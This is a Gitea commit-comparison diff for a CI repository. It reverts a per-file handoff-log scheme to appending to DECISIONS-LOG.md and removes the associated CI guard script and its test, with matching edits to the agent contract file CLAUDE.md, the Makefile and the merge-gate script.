Compare commits
3
Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
44dbd44333 | ||
|
|
f81967228d | ||
|
|
d3d5f6d8d2 |
No files matched your search
@@ -15,7 +15,7 @@ it touches is green** (R-TEST-03).
|
|||||||
## The pipeline
|
## The pipeline
|
||||||
|
|
||||||
```
|
```
|
||||||
decisions-log ─▶ lint ─▶ l0 (schema + Kyverno) ─▶ render-golden ─▶ l1 (rendering) ─▶ conformance (L2/L3) ─▶ merge-gate decision
|
lint ─▶ l0 (schema + Kyverno) ─▶ render-golden ─▶ l1 (rendering) ─▶ conformance (L2/L3) ─▶ merge-gate decision
|
||||||
└──────────────── run in CI, NO cluster ────────────────┘ └── in-cluster Chainsaw Job ──┘
|
└──────────────── run in CI, NO cluster ────────────────┘ └── in-cluster Chainsaw Job ──┘
|
||||||
live now cluster-gated (SKIPS in Phase 0)
|
live now cluster-gated (SKIPS in Phase 0)
|
||||||
```
|
```
|
||||||
|
|||||||
@@ -1,7 +1,7 @@
|
|||||||
# CLAUDE.md — how work lands in this repo
|
# CLAUDE.md — how work lands in this repo
|
||||||
|
|
||||||
Read this before doing anything durable. It is the delivery contract for AI coding
|
Read this before doing anything durable. It is the delivery contract for AI coding
|
||||||
sessions and agents. The newest entry in `decisions/` is the current PM handoff and
|
sessions and agents. `DECISIONS-LOG.md`'s last entry is the current PM handoff and
|
||||||
takes precedence on *what* to work on; this file governs *how* it lands.
|
takes precedence on *what* to work on; this file governs *how* it lands.
|
||||||
|
|
||||||
## 1. Never push to `main`. Ever.
|
## 1. Never push to `main`. Ever.
|
||||||
@@ -48,10 +48,9 @@ reports as `success`, so a green tick is not by itself evidence that anything ra
|
|||||||
|
|
||||||
## 2b. Never infer platform state from this repository
|
## 2b. Never infer platform state from this repository
|
||||||
|
|
||||||
**This repo is not evidence about the live platform.** Neither is the handoff log
|
**This repo is not evidence about the live platform.** Neither is `DECISIONS-LOG.md`.
|
||||||
(`decisions/`, and the frozen `DECISIONS-LOG.md` archive). Both describe what someone
|
Both describe what someone believed at the time of writing, and both have been
|
||||||
believed at the time of writing, and both have been confidently wrong for a month at a
|
confidently wrong for a month at a stretch.
|
||||||
stretch.
|
|
||||||
|
|
||||||
On 2026-09-29 the log stated the merge gate was a required status check with a runner
|
On 2026-09-29 the log stated the merge gate was a required status check with a runner
|
||||||
online. The API said `branch_protections: []` and **zero** runners. Everything downstream
|
online. The API said `branch_protections: []` and **zero** runners. Everything downstream
|
||||||
@@ -140,32 +139,9 @@ invocations concurrently.
|
|||||||
flow. Do not design around committing one — read the expiry from the issuing page and
|
flow. Do not design around committing one — read the expiry from the issuing page and
|
||||||
treat a burnt token as free to retry.
|
treat a burnt token as free to retry.
|
||||||
|
|
||||||
## 7. Before you finish — write a handoff entry, in its OWN file
|
## 7. Before you finish
|
||||||
|
|
||||||
Add **one new file**:
|
Append a handoff entry to `DECISIONS-LOG.md` describing what you changed, what you
|
||||||
|
verified, and what you did **not** verify. State gaps plainly — an honest
|
||||||
decisions/YYYY-MM-DD-<slug>.md <slug> = your branch's last segment
|
"UNVERIFIED" is worth more than an optimistic "green", and this repo has already been
|
||||||
|
burned by the difference.
|
||||||
with frontmatter (`date`, `branch`, `title`) and exactly these three sections:
|
|
||||||
|
|
||||||
## What changed
|
|
||||||
## What I verified
|
|
||||||
## What I did NOT verify
|
|
||||||
|
|
||||||
State gaps plainly — an honest "UNVERIFIED" is worth more than an optimistic "green",
|
|
||||||
and this repo has already been burned by the difference. All three headings are
|
|
||||||
**enforced** by `ci/decisions-log.sh`, because the third is the one that gets dropped.
|
|
||||||
Template and full rationale: `decisions/README.md`.
|
|
||||||
|
|
||||||
**Do NOT append to `DECISIONS-LOG.md`.** It is a frozen archive (pre-2026-09-29), its
|
|
||||||
SHA-256 is pinned in `decisions/ARCHIVE.sha256`, and the merge gate rejects any change
|
|
||||||
to it. Appending to its tail is what every agent used to do, and because every branch
|
|
||||||
appended to the *same last hunk*, no two concurrent branches could auto-merge. Measured
|
|
||||||
on 2026-09-29: **four of the five open PRs were `mergeable: false`, with
|
|
||||||
`DECISIONS-LOG.md` the only conflicting path in all four** — none of those changes had
|
|
||||||
anything to do with each other. Separate files have nothing to merge, which is the
|
|
||||||
entire fix. Note that the damage from getting this wrong lands on *other people's*
|
|
||||||
branches, later, which is why it is a gate stage and not a request.
|
|
||||||
|
|
||||||
Many older handoff entries and runbooks say "append to `DECISIONS-LOG.md`". That
|
|
||||||
wording is **stale**, in the same way §1's `git push origin main` wording is stale.
|
|
||||||
+399
-621
File diff suppressed because it is too large.
Load diff
+1
-4
@@ -12,7 +12,7 @@ CI_DIR := $(dir $(abspath $(lastword $(MAKEFILE_LIST))))
|
|||||||
|
|
||||||
.DEFAULT_GOAL := help
|
.DEFAULT_GOAL := help
|
||||||
|
|
||||||
.PHONY: help spec-immutability decisions-log lint schema l0 render-golden l1 conformance gate all touched versions tools test
|
.PHONY: help spec-immutability lint schema l0 render-golden l1 conformance gate all touched versions tools test
|
||||||
|
|
||||||
help: ## Show this help
|
help: ## Show this help
|
||||||
@awk 'BEGIN{FS=":.*##"} /^[a-zA-Z0-9_-]+:.*##/{printf " \033[36m%-14s\033[0m %s\n",$$1,$$2}' $(MAKEFILE_LIST)
|
@awk 'BEGIN{FS=":.*##"} /^[a-zA-Z0-9_-]+:.*##/{printf " \033[36m%-14s\033[0m %s\n",$$1,$$2}' $(MAKEFILE_LIST)
|
||||||
@@ -29,9 +29,6 @@ schema l0: ## ServiceDefinition schema validation + Kyverno L0 policy gate (no c
|
|||||||
render-golden: ## render==golden: canonical render reproduces committed apps/ (no cluster; live now)
|
render-golden: ## render==golden: canonical render reproduces committed apps/ (no cluster; live now)
|
||||||
@"$(CI_DIR)render-golden.sh"
|
@"$(CI_DIR)render-golden.sh"
|
||||||
|
|
||||||
decisions-log: ## handoff log: DECISIONS-LOG.md frozen, decisions/ entries well-formed (no cluster)
|
|
||||||
@"$(CI_DIR)decisions-log.sh"
|
|
||||||
|
|
||||||
l1: ## L1 rendering checks (no cluster; live now)
|
l1: ## L1 rendering checks (no cluster; live now)
|
||||||
@"$(CI_DIR)l1.sh"
|
@"$(CI_DIR)l1.sh"
|
||||||
|
|
||||||
|
|||||||
@@ -101,7 +101,6 @@ caller that must distinguish them invokes `./ci/gate.sh` directly.
|
|||||||
|---|---|---|
|
|---|---|---|
|
||||||
| `lint`, `l0`, `render-golden`, `l1` | a **pinned tool is absent** or a **wired seam went unwired** — it *could not run* | **BLOCKED** under strict skips (a CI runner: the toolchain is installed for us by `.gitea/workflows/scripts/install-tools.sh`, so a skip is a defect); **UNDETERMINED** otherwise (a workstation missing a tool is a real local condition — still non-zero, still not a pass; the remedy is `infra/devcontainer/dev.sh`, which carries the pinned toolchain) |
|
| `lint`, `l0`, `render-golden`, `l1` | a **pinned tool is absent** or a **wired seam went unwired** — it *could not run* | **BLOCKED** under strict skips (a CI runner: the toolchain is installed for us by `.gitea/workflows/scripts/install-tools.sh`, so a skip is a defect); **UNDETERMINED** otherwise (a workstation missing a tool is a real local condition — still non-zero, still not a pass; the remedy is `infra/devcontainer/dev.sh`, which carries the pinned toolchain) |
|
||||||
| `spec-immutability` (R-TEST-06) | the sibling spec repo is not checked out, so the spec **could not be verified** | **UNDETERMINED** — unverified is unverified. Deliberately *not* upgraded to BLOCKED by strict skips: the live runner does not check the spec repo out at all, so blocking would leave the only enforced status check permanently red for a reason no PR could clear. It is therefore the **one** skip whose non-answer a caller may knowingly tolerate, and `.gitea/workflows/gate.yml` does so in one visible line. `REQUIRE_SPEC_VERIFICATION=true` makes it a hard block once that checkout is wired. Locally: check the spec repo out beside this one, or set `SPEC_REPO` (`dev.sh` mounts a sibling automatically). |
|
| `spec-immutability` (R-TEST-06) | the sibling spec repo is not checked out, so the spec **could not be verified** | **UNDETERMINED** — unverified is unverified. Deliberately *not* upgraded to BLOCKED by strict skips: the live runner does not check the spec repo out at all, so blocking would leave the only enforced status check permanently red for a reason no PR could clear. It is therefore the **one** skip whose non-answer a caller may knowingly tolerate, and `.gitea/workflows/gate.yml` does so in one visible line. `REQUIRE_SPEC_VERIFICATION=true` makes it a hard block once that checkout is wired. Locally: check the spec repo out beside this one, or set `SPEC_REPO` (`dev.sh` mounts a sibling automatically). |
|
||||||
| `decisions-log` | **nothing** — this stage has no skip path. It reads only files in the tree under test and needs no tool and no cluster, so there is no environment in which it "could not run" | a reported skip is a **defect in the stage** and BLOCKS. The stage fails when the frozen `DECISIONS-LOG.md` is modified (which silently re-creates, for every *other* open branch, the tail-hunk conflict that made four of five PRs unmergeable on 2026-09-29) or when a `decisions/` entry is malformed. There is deliberately **no** `REQUIRE_DECISIONS_LOG` knob: a guard with an off switch is not a guard. See `decisions/README.md`. |
|
|
||||||
| `conformance` (L2/L3) | `CLUSTER_AVAILABLE!=true` — the environment **declared** the capability absent (documented Phase-0 behaviour) | **does not deny a PASS**: a declared-inapplicable stage was never *supposed* to run. It is NAMED in the PASS headline and step summary, the touched requirements it would have covered are reported UNVERIFIED, and `REQUIRE_CLUSTER_TESTS=true` (Phase 1+) turns that into a block. A skip **despite** `CLUSTER_AVAILABLE=true` is a defect and BLOCKS. |
|
| `conformance` (L2/L3) | `CLUSTER_AVAILABLE!=true` — the environment **declared** the capability absent (documented Phase-0 behaviour) | **does not deny a PASS**: a declared-inapplicable stage was never *supposed* to run. It is NAMED in the PASS headline and step summary, the touched requirements it would have covered are reported UNVERIFIED, and `REQUIRE_CLUSTER_TESTS=true` (Phase 1+) turns that into a block. A skip **despite** `CLUSTER_AVAILABLE=true` is a defect and BLOCKS. |
|
||||||
|
|
||||||
That asymmetry is the whole rule: **declared-not-applicable may pass; could-not-run may not.**
|
That asymmetry is the whole rule: **declared-not-applicable may pass; could-not-run may not.**
|
||||||
|
|||||||
@@ -1,195 +0,0 @@
|
|||||||
#!/usr/bin/env bash
|
|
||||||
# ci/decisions-log.sh — the handoff log is a DIRECTORY, and the old single file is frozen.
|
|
||||||
#
|
|
||||||
# WHY THIS STAGE EXISTS
|
|
||||||
# ---------------------
|
|
||||||
# CLAUDE.md §7 tells every agent to record a handoff before finishing. Until 2026-09-29 that
|
|
||||||
# meant appending to the tail of one 5,228-line file, DECISIONS-LOG.md. Every branch appended
|
|
||||||
# to the SAME last hunk, so git could not auto-merge any two of them. Measured that day against
|
|
||||||
# the live Gitea: four of the five open PRs were `mergeable: false`, and `git merge-tree`
|
|
||||||
# against `main` named DECISIONS-LOG.md as the ONLY conflicting path in all four:
|
|
||||||
#
|
|
||||||
# #22 fix/crafty-oauth2-proxy-signin CONFLICT (content): DECISIONS-LOG.md
|
|
||||||
# #20 feat/conformance-job-template CONFLICT (content): DECISIONS-LOG.md
|
|
||||||
# #19 feat/conformance-trigger-kubeconfig CONFLICT (content): DECISIONS-LOG.md
|
|
||||||
# #18 feat/conformance-runner-image CONFLICT (content): DECISIONS-LOG.md
|
|
||||||
# #17 feat/ci-is-the-approver clean — it wrote no handoff entry
|
|
||||||
#
|
|
||||||
# Nothing was wrong with any of those changes. The log's storage format serialised work that
|
|
||||||
# was otherwise parallel, and the cost grew with every concurrent branch (N branches -> N-1
|
|
||||||
# rebases, each invalidating the gate run before it).
|
|
||||||
#
|
|
||||||
# The fix is that handoffs now live one-per-file under decisions/, so concurrent branches touch
|
|
||||||
# disjoint paths and there is nothing to merge. See decisions/README.md.
|
|
||||||
#
|
|
||||||
# WHY IT NEEDS A CHECK AND NOT JUST A DOCUMENT
|
|
||||||
# --------------------------------------------
|
|
||||||
# The old habit is written into this repo in many places — the runbooks, the muscle memory of
|
|
||||||
# every agent that has read the log, and (until this change) CLAUDE.md itself. An agent that
|
|
||||||
# appends to DECISIONS-LOG.md anyway does not fail: it produces a perfectly good-looking commit
|
|
||||||
# that quietly re-creates the conflict for every other open branch, and the damage is only
|
|
||||||
# visible later, to somebody else, in a PR that is not theirs. That is the exact shape this
|
|
||||||
# repo keeps getting burned by — a silent regression with a delayed, misattributed symptom — so
|
|
||||||
# it gets a guard rather than a paragraph.
|
|
||||||
#
|
|
||||||
# WHAT IS ASSERTED
|
|
||||||
# (1) DECISIONS-LOG.md is byte-identical to the SHA-256 pinned in decisions/ARCHIVE.sha256.
|
|
||||||
# Re-pinning is a deliberate, reviewable line in a diff; appending is not.
|
|
||||||
# (2) Every decisions/ entry is named YYYY-MM-DD-<slug>.md with a real calendar date, so the
|
|
||||||
# directory sorts chronologically and two agents cannot collide on a filename.
|
|
||||||
# (3) Every entry carries frontmatter (date, branch, title) whose `date` agrees with its
|
|
||||||
# filename — a disagreement means a copied template nobody edited.
|
|
||||||
# (4) Every entry has all three of CLAUDE.md §7's sections with a real body under each:
|
|
||||||
# "What changed", "What I verified", "What I did NOT verify". This is the quality floor
|
|
||||||
# that stops an entry degrading into "done ✅". The third heading is the load-bearing one:
|
|
||||||
# this repo's recurring failure is a confident report of something nobody measured, and an
|
|
||||||
# entry with nowhere to write "UNVERIFIED" does not get one written.
|
|
||||||
#
|
|
||||||
# EXIT CODES (ci/README.md contract): 0 pass, 1 BLOCKS the merge. This stage has NO skip path —
|
|
||||||
# it reads only files that are in the tree it is run against, needs no tool beyond coreutils and
|
|
||||||
# no cluster, so there is no environment in which it "could not run". Adding an rc 3 here would
|
|
||||||
# add a fail-open surface to a guard whose whole job is to close one.
|
|
||||||
set -uo pipefail
|
|
||||||
CI_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
|
|
||||||
# shellcheck disable=SC1091
|
|
||||||
source "${CI_DIR}/lib.sh"
|
|
||||||
set +e # aggregate every problem in one run; do not stop at the first.
|
|
||||||
|
|
||||||
cd "$REPO_ROOT"
|
|
||||||
|
|
||||||
ARCHIVE="DECISIONS-LOG.md"
|
|
||||||
PIN="decisions/ARCHIVE.sha256"
|
|
||||||
rc=0
|
|
||||||
|
|
||||||
# ---- (1) the archive is frozen ----------------------------------------------
|
|
||||||
log "Stage: decisions log (archive frozen + entries well-formed)"
|
|
||||||
|
|
||||||
if [ ! -f "$ARCHIVE" ]; then
|
|
||||||
err "${ARCHIVE} is missing. It is the frozen pre-2026-09-29 history and must stay in the tree."
|
|
||||||
summary "- decisions-log: **FAILED** (\`${ARCHIVE}\` missing)"
|
|
||||||
rc=1
|
|
||||||
elif [ ! -f "$PIN" ]; then
|
|
||||||
err "${PIN} is missing, so the archive's integrity cannot be established."
|
|
||||||
err " If you are re-pinning deliberately: sha256sum ${ARCHIVE} > ${PIN}"
|
|
||||||
summary "- decisions-log: **FAILED** (\`${PIN}\` missing — archive unverifiable)"
|
|
||||||
rc=1
|
|
||||||
else
|
|
||||||
want="$(awk 'NR==1{print $1}' "$PIN")"
|
|
||||||
got="$(sha256sum "$ARCHIVE" | awk '{print $1}')"
|
|
||||||
if [ "$want" != "$got" ]; then
|
|
||||||
err "${ARCHIVE} HAS CHANGED. It is a FROZEN ARCHIVE — do not append to it."
|
|
||||||
err " pinned: ${want}"
|
|
||||||
err " on disk: ${got}"
|
|
||||||
err ""
|
|
||||||
err " Every branch that appends to this file's tail conflicts with every other branch that"
|
|
||||||
err " does, on the same hunk. That is what made four of five open PRs unmergeable on"
|
|
||||||
err " 2026-09-29, and your commit would re-create it for branches that are not yours."
|
|
||||||
err ""
|
|
||||||
err " Write your handoff as its OWN FILE instead:"
|
|
||||||
err " decisions/\$(date +%F)-<your-branch-slug>.md (see decisions/README.md)"
|
|
||||||
err " and restore the archive: git checkout -- ${ARCHIVE}"
|
|
||||||
err ""
|
|
||||||
err " If the archive genuinely must change (redacting a leaked credential, say), that is a"
|
|
||||||
err " reviewed act: re-pin it with 'sha256sum ${ARCHIVE} > ${PIN}' and say why in your entry."
|
|
||||||
summary "- decisions-log: **FAILED — the frozen archive \`${ARCHIVE}\` was modified** (append to \`decisions/\` instead)"
|
|
||||||
rc=1
|
|
||||||
else
|
|
||||||
ok "${ARCHIVE}: unchanged (sha256 matches ${PIN})"
|
|
||||||
fi
|
|
||||||
fi
|
|
||||||
|
|
||||||
# ---- (2)(3)(4) every entry is well-formed ------------------------------------
|
|
||||||
shopt -s nullglob
|
|
||||||
entries=( decisions/[0-9]*.md )
|
|
||||||
shopt -u nullglob
|
|
||||||
|
|
||||||
# Zero entries is legitimate only until the first handoff lands; after that the glob always
|
|
||||||
# matches. It is never an error here — a branch that changes no behaviour owes no handoff, and
|
|
||||||
# CLAUDE.md, not this stage, is what asks for one.
|
|
||||||
if [ "${#entries[@]}" -eq 0 ]; then
|
|
||||||
log "no decisions/ entries yet"
|
|
||||||
fi
|
|
||||||
|
|
||||||
REQUIRED_SECTIONS=("What changed" "What I verified" "What I did NOT verify")
|
|
||||||
|
|
||||||
for f in "${entries[@]}"; do
|
|
||||||
base="${f#decisions/}"
|
|
||||||
|
|
||||||
# (2) filename
|
|
||||||
if [[ ! "$base" =~ ^([0-9]{4}-[0-9]{2}-[0-9]{2})-([a-z0-9][a-z0-9-]*)\.md$ ]]; then
|
|
||||||
err "${f}: name must be decisions/YYYY-MM-DD-<slug>.md with a lowercase [a-z0-9-] slug."
|
|
||||||
err " Use your branch's last segment as the slug — it is already unique per unit of work."
|
|
||||||
summary "- decisions-log: **FAILED** (\`${f}\` misnamed)"
|
|
||||||
rc=1
|
|
||||||
continue
|
|
||||||
fi
|
|
||||||
fname_date="${BASH_REMATCH[1]}"
|
|
||||||
|
|
||||||
if ! date -d "$fname_date" +%F >/dev/null 2>&1 || [ "$(date -d "$fname_date" +%F)" != "$fname_date" ]; then
|
|
||||||
err "${f}: '${fname_date}' is not a real calendar date."
|
|
||||||
summary "- decisions-log: **FAILED** (\`${f}\` — impossible date)"
|
|
||||||
rc=1
|
|
||||||
continue
|
|
||||||
fi
|
|
||||||
|
|
||||||
# (3) frontmatter
|
|
||||||
if [ "$(head -1 "$f")" != "---" ]; then
|
|
||||||
err "${f}: must open with a '---' YAML frontmatter block (date, branch, title)."
|
|
||||||
err " See decisions/README.md for the template."
|
|
||||||
summary "- decisions-log: **FAILED** (\`${f}\` — no frontmatter)"
|
|
||||||
rc=1
|
|
||||||
continue
|
|
||||||
fi
|
|
||||||
fm="$(awk 'NR==1&&$0=="---"{inb=1;next} inb&&$0=="---"{exit} inb{print}' "$f")"
|
|
||||||
missing_keys=()
|
|
||||||
for k in date branch title; do
|
|
||||||
grep -qE "^${k}:[[:space:]]*\S" <<<"$fm" || missing_keys+=("$k")
|
|
||||||
done
|
|
||||||
if [ "${#missing_keys[@]}" -gt 0 ]; then
|
|
||||||
err "${f}: frontmatter is missing a non-empty ${missing_keys[*]}."
|
|
||||||
summary "- decisions-log: **FAILED** (\`${f}\` — frontmatter missing \`${missing_keys[*]}\`)"
|
|
||||||
rc=1
|
|
||||||
continue
|
|
||||||
fi
|
|
||||||
fm_date="$(grep -m1 -E '^date:' <<<"$fm" | sed -E 's/^date:[[:space:]]*//; s/[[:space:]"'\'']//g')"
|
|
||||||
if [ "$fm_date" != "$fname_date" ]; then
|
|
||||||
err "${f}: frontmatter date '${fm_date}' disagrees with the filename's '${fname_date}'."
|
|
||||||
err " One of them was copied from a template and not edited; the log's ordering depends on both."
|
|
||||||
summary "- decisions-log: **FAILED** (\`${f}\` — date disagrees with filename)"
|
|
||||||
rc=1
|
|
||||||
continue
|
|
||||||
fi
|
|
||||||
|
|
||||||
# (4) the three required sections, each with a real body
|
|
||||||
body_start="$(awk 'NR>1 && $0=="---" {print NR; exit}' "$f")"
|
|
||||||
[ -n "$body_start" ] || body_start=1
|
|
||||||
for want_sec in "${REQUIRED_SECTIONS[@]}"; do
|
|
||||||
hdr_line="$(awk -v s="$body_start" -v w="## ${want_sec}" 'NR>s && $0==w {print NR; exit}' "$f")"
|
|
||||||
if [ -z "$hdr_line" ]; then
|
|
||||||
err "${f}: missing the required section '## ${want_sec}'."
|
|
||||||
err " CLAUDE.md §7 asks for what you changed, what you verified, and what you did NOT."
|
|
||||||
err " All three are structure here, because the third is the one that gets dropped."
|
|
||||||
summary "- decisions-log: **FAILED** (\`${f}\` — missing \`## ${want_sec}\`)"
|
|
||||||
rc=1
|
|
||||||
continue
|
|
||||||
fi
|
|
||||||
# A real body: at least 20 non-blank, non-heading characters before the next '## '.
|
|
||||||
nchars="$(awk -v s="$hdr_line" 'NR>s { if ($0 ~ /^## /) exit; print }' "$f" \
|
|
||||||
| tr -d '[:space:]' | wc -c)"
|
|
||||||
if [ "$nchars" -lt 20 ]; then
|
|
||||||
err "${f}: section '## ${want_sec}' is empty or a stub (${nchars} chars of content)."
|
|
||||||
err " If nothing was verified, WRITE THAT — 'nothing was verified; the gate was not run'"
|
|
||||||
err " is a valid and useful entry. A blank section is not."
|
|
||||||
summary "- decisions-log: **FAILED** (\`${f}\` — \`## ${want_sec}\` is a stub)"
|
|
||||||
rc=1
|
|
||||||
fi
|
|
||||||
done
|
|
||||||
done
|
|
||||||
|
|
||||||
if [ "$rc" -eq 0 ]; then
|
|
||||||
ok "decisions log: archive frozen, ${#entries[@]} entr$([ "${#entries[@]}" -eq 1 ] && echo y || echo ies) well-formed"
|
|
||||||
summary "- decisions-log: **passed** (archive frozen; ${#entries[@]} entries well-formed)"
|
|
||||||
else
|
|
||||||
err "decisions log stage FAILED"
|
|
||||||
fi
|
|
||||||
exit "$rc"
|
|
||||||
-17
@@ -108,7 +108,6 @@ summary "## Merge gate (R-TEST-03)"
|
|||||||
summary ""
|
summary ""
|
||||||
|
|
||||||
run_stage spec-immutability "${CI_DIR}/spec-immutability.sh"
|
run_stage spec-immutability "${CI_DIR}/spec-immutability.sh"
|
||||||
run_stage decisions-log "${CI_DIR}/decisions-log.sh"
|
|
||||||
run_stage lint "${CI_DIR}/lint.sh"
|
run_stage lint "${CI_DIR}/lint.sh"
|
||||||
run_stage l0 "${CI_DIR}/l0.sh"
|
run_stage l0 "${CI_DIR}/l0.sh"
|
||||||
run_stage render-golden "${CI_DIR}/render-golden.sh"
|
run_stage render-golden "${CI_DIR}/render-golden.sh"
|
||||||
@@ -215,22 +214,6 @@ case "${OUTCOME[gitea-settings]}" in
|
|||||||
pass) ok "gitea-settings: green" ;;
|
pass) ok "gitea-settings: green" ;;
|
||||||
esac
|
esac
|
||||||
|
|
||||||
# decisions-log: the handoff log's storage format. A FAIL means either the frozen archive
|
|
||||||
# DECISIONS-LOG.md was modified — which re-creates, for every OTHER open branch, the tail-hunk
|
|
||||||
# conflict that made four of five PRs unmergeable on 2026-09-29 — or a decisions/ entry is
|
|
||||||
# malformed. Always blocks, and has no skip path by construction: the stage reads only files in
|
|
||||||
# the tree under test and needs no tool or cluster, so there is no environment in which it
|
|
||||||
# "could not run". A guard against a silent, delayed, misattributed regression must not itself
|
|
||||||
# have a way to not-run.
|
|
||||||
case "${OUTCOME[decisions-log]}" in
|
|
||||||
fail) err "decisions-log: FAILED -> blocks merge (see decisions/README.md)"; BLOCK=1 ;;
|
|
||||||
skip) err "decisions-log: reported SKIPPED, which this stage has no path to produce -> treat"
|
|
||||||
err " as a defect in the stage itself and block."
|
|
||||||
summary "- decisions-log: **SKIPPED** (impossible by construction) — blocks merge"
|
|
||||||
BLOCK=1 ;;
|
|
||||||
pass) ok "decisions-log: green" ;;
|
|
||||||
esac
|
|
||||||
|
|
||||||
# L0/L1 stages: any failure blocks. A SKIP here means a pinned tool is missing or a seam is
|
# L0/L1 stages: any failure blocks. A SKIP here means a pinned tool is missing or a seam is
|
||||||
# unwired — NEVER green. In CI (strict) that is a defect and blocks; on a workstation it
|
# unwired — NEVER green. In CI (strict) that is a defect and blocks; on a workstation it
|
||||||
# degrades to UNDETERMINED, which is still non-zero and still not a pass. render-golden is a
|
# degrades to UNDETERMINED, which is still non-zero and still not a pass. render-golden is a
|
||||||
|
|||||||
@@ -42,16 +42,9 @@
|
|||||||
# skip like spec-immutability's (UNDETERMINED, exit 3) rather than a hard block, so
|
# skip like spec-immutability's (UNDETERMINED, exit 3) rather than a hard block, so
|
||||||
# that an unwired credential cannot lock the repository.
|
# that an unwired credential cannot lock the repository.
|
||||||
#
|
#
|
||||||
# TO WIRE IT: create a Gitea repo secret SETTINGS_API_TOKEN (a token that can read repo
|
# TO WIRE IT: create a Gitea repo secret GITEA_SETTINGS_TOKEN (a token that can read repo
|
||||||
# settings) — infra/gitea/set-ci-token.sh does it. Until then this stage skips LOUDLY and
|
# settings) — infra/gitea/set-ci-token.sh does it. Until then this stage skips LOUDLY and
|
||||||
# the drift it exists to catch is still undetected.
|
# the drift it exists to catch is still undetected.
|
||||||
#
|
|
||||||
# NOT `GITEA_SETTINGS_TOKEN`. This comment named that until 2026-09-29 and it instructed the
|
|
||||||
# reader to do something IMPOSSIBLE: Gitea reserves the `GITEA_` prefix for secret names and
|
|
||||||
# rejects the PUT with HTTP 400 "invalid secret name". That is not a style rule — it is why the
|
|
||||||
# detector sat inert for hours while a token existed and no secret did. The env var below still
|
|
||||||
# accepts GITEA_SETTINGS_TOKEN, but only for a LOCAL run: it can never be the CI wiring, because
|
|
||||||
# the secret that would feed it cannot be created at all.
|
|
||||||
set -euo pipefail
|
set -euo pipefail
|
||||||
CI_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
|
CI_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
|
||||||
REPO_ROOT="$(cd "${CI_DIR}/.." && pwd)"
|
REPO_ROOT="$(cd "${CI_DIR}/.." && pwd)"
|
||||||
|
|||||||
@@ -1,130 +0,0 @@
|
|||||||
#!/usr/bin/env bash
|
|
||||||
# ci/tests/decisions-log.test.sh — proves ci/decisions-log.sh actually fails closed.
|
|
||||||
#
|
|
||||||
# The stage exists because appending to DECISIONS-LOG.md silently re-creates a merge conflict
|
|
||||||
# for every other open branch. A guard against a silent regression is itself worth nothing
|
|
||||||
# unless somebody has watched it reject the thing it claims to reject, so each case below
|
|
||||||
# CONSTRUCTS the violation in a throwaway tree and asserts a non-zero exit — the same reasoning
|
|
||||||
# as ci/tests/gate-decision.test.sh, one layer down.
|
|
||||||
set -uo pipefail
|
|
||||||
REAL_CI_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")/.." && pwd)"
|
|
||||||
|
|
||||||
PASS=0 FAIL=0
|
|
||||||
ok() { printf ' ok %s\n' "$*"; PASS=$((PASS+1)); }
|
|
||||||
bad() { printf ' FAIL %s\n' "$*"; FAIL=$((FAIL+1)); }
|
|
||||||
|
|
||||||
TMP="$(mktemp -d)"; trap 'rm -rf "$TMP"' EXIT
|
|
||||||
|
|
||||||
# A minimal well-formed tree: the frozen archive, its pin, and one valid entry.
|
|
||||||
mk_tree() {
|
|
||||||
local d="$1"; rm -rf "$d"; mkdir -p "$d/ci" "$d/decisions"
|
|
||||||
cp "${REAL_CI_DIR}/decisions-log.sh" "${REAL_CI_DIR}/lib.sh" "${REAL_CI_DIR}/versions.env" "$d/ci/"
|
|
||||||
printf 'frozen history\n' > "$d/DECISIONS-LOG.md"
|
|
||||||
( cd "$d" && sha256sum DECISIONS-LOG.md > decisions/ARCHIVE.sha256 )
|
|
||||||
mk_entry "$d/decisions/2026-09-29-a-good-entry.md" 2026-09-29
|
|
||||||
# REPO_ROOT in ci/lib.sh is derived from git; give the tree a repo so it resolves here.
|
|
||||||
( cd "$d" && git init -q . && git add -A && git -c user.email=t@t -c user.name=t commit -qm init )
|
|
||||||
}
|
|
||||||
|
|
||||||
mk_entry() {
|
|
||||||
cat > "$1" <<ENTRY
|
|
||||||
---
|
|
||||||
date: $2
|
|
||||||
branch: chore/example
|
|
||||||
title: An example entry
|
|
||||||
---
|
|
||||||
|
|
||||||
## What changed
|
|
||||||
|
|
||||||
Enough prose here to clear the twenty-character body floor comfortably.
|
|
||||||
|
|
||||||
## What I verified
|
|
||||||
|
|
||||||
Enough prose here to clear the twenty-character body floor comfortably.
|
|
||||||
|
|
||||||
## What I did NOT verify
|
|
||||||
|
|
||||||
Enough prose here to clear the twenty-character body floor comfortably.
|
|
||||||
ENTRY
|
|
||||||
}
|
|
||||||
|
|
||||||
# run <dir> -> sets RC and OUT
|
|
||||||
run() { OUT="$( cd "$1" && bash ci/decisions-log.sh 2>&1 )"; RC=$?; }
|
|
||||||
|
|
||||||
D="${TMP}/t"
|
|
||||||
|
|
||||||
echo "== 1. a well-formed tree passes"
|
|
||||||
mk_tree "$D"; run "$D"
|
|
||||||
[ "$RC" -eq 0 ] && ok "clean tree -> exit 0" || bad "clean tree -> exit ${RC}: ${OUT}"
|
|
||||||
|
|
||||||
echo
|
|
||||||
echo "== 2. THE REGRESSION THIS STAGE EXISTS FOR: appending to the frozen archive"
|
|
||||||
mk_tree "$D"; printf '\n## my new handoff\n' >> "$D/DECISIONS-LOG.md"; run "$D"
|
|
||||||
[ "$RC" -ne 0 ] && ok "append to DECISIONS-LOG.md -> non-zero (${RC})" \
|
|
||||||
|| bad "append to DECISIONS-LOG.md was ACCEPTED — the guard is inert"
|
|
||||||
grep -qi 'frozen archive' <<<"$OUT" && ok "the message names the archive as frozen" \
|
|
||||||
|| bad "the message does not say the archive is frozen"
|
|
||||||
grep -q 'decisions/\$(date +%F)' <<<"$OUT" && ok "the message names the file to write instead" \
|
|
||||||
|| bad "the message does not name the remedy"
|
|
||||||
|
|
||||||
echo
|
|
||||||
echo "== 3. a re-pin is a deliberate, accepted act"
|
|
||||||
mk_tree "$D"; printf '\nredacted\n' >> "$D/DECISIONS-LOG.md"
|
|
||||||
( cd "$D" && sha256sum DECISIONS-LOG.md > decisions/ARCHIVE.sha256 ); run "$D"
|
|
||||||
[ "$RC" -eq 0 ] && ok "archive changed AND re-pinned -> exit 0" || bad "re-pin rejected: ${OUT}"
|
|
||||||
|
|
||||||
echo
|
|
||||||
